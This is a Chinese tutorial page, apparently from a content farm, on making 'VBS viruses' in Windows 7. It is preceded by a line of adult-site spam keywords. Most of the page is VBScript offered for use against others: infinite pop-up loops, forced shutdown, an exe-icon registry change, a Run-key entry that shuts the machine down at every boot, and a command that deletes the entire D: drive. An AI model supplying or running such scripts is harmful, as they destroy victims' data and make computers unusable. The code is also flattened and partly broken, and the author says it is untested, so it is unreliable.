久久婷婷人人澡人人9797,2021自拍偷在线精品自拍偷,亚洲av无码精品国产成人

　　在平時的生活工作中，我們偶爾會無聊，因此就想搞點事情出來，于是有人就想制作vbs病毒，可是很多人不知道w7怎么制作vbs病毒？為此小編趕緊整理了w7制作vbs病毒教程，感興趣的朋友可以來看看。

　　方法/步驟：

　　1、首先，打開記事本。

w7怎么制作vbs病毒？

　　2、輸入代碼（整人級）：

01'--------------------------------1-關(guān)不掉的窗口--------------------------------do while(1)MsgBox("哈哈，你關(guān)不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-輸入“我是豬”--------------------------do while(a<>"我是豬")a=inputbox("快在下面的框里輸入我是豬")if(a<>"我是豬") thenMsgBox("趕緊承認!!!")end ifloop'--------------------------------------------------------------------------------
復制代碼'--------------------------------1-關(guān)不掉的窗口--------------------------------do while(1)MsgBox("哈哈，你關(guān)不掉我！")loop'--------------------------------------------------------------------------------'-----------------------------------2-輸入“我是豬”--------------------------do while(a<>"我是豬")a=inputbox("快在下面的框里輸入我是豬")if(a<>"我是豬") thenMsgBox("趕緊承認!!!")end ifloop'--------------------------------------------------------------------------------

　　3、（中等）：

01'--------------------------------3-直接關(guān)機------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe圖標------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCR/exefile/DefaultIcon/","C:/Windows/System32/imageres.dll,-2" '這里的C:/Windows/System32/imageres.dll,-2可以改成任意路徑'--------------------------------------------------------------------------------
復制代碼'--------------------------------3-直接關(guān)機------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------4-改exe圖標------------------------------------Dim OperationRegistrySet OperationRegistry=WScript.CreateObject("WScript.Shell")OperationRegistry.RegWrite "HKCR/exefile/DefaultIcon/","C:/Windows/System32/imageres.dll,-2" '這里的C:/Windows/System32/imageres.dll,-2可以改成任意路徑'--------------------------------------------------------------------------------

　　4、（破壞級）如果無法恢復，不要怪我咯*_*：

01'------!!注意危險!! 5-開機一完畢就關(guān)機(計算機無法使用) !!注意危險!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Run/"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危險!! 6-格式化D盤(D盤下所有文件被刪除) !!注意危險!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:/",0,ture'--------------------------------------------------------------------------------
復制代碼'------!!注意危險!! 5-開機一完畢就關(guān)機(計算機無法使用) !!注意危險!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Run/"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危險!! 6-格式化D盤(D盤下所有文件被刪除) !!注意危險!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:/",0,ture'--------------------------------------------------------------------------------

　　如果代碼有問題，無法實現(xiàn)應有效果，請原諒。（一些vbs破壞性太強，我不敢實驗）

　　5、保存：按下Ctrl+S快捷鍵，在彈出的窗口中選擇文件類型：所有文件（*.*），在文件名處輸入文件名，在文件名后面輸入“.vbs”或“.vbe”，保存。

w7怎么制作vbs病毒？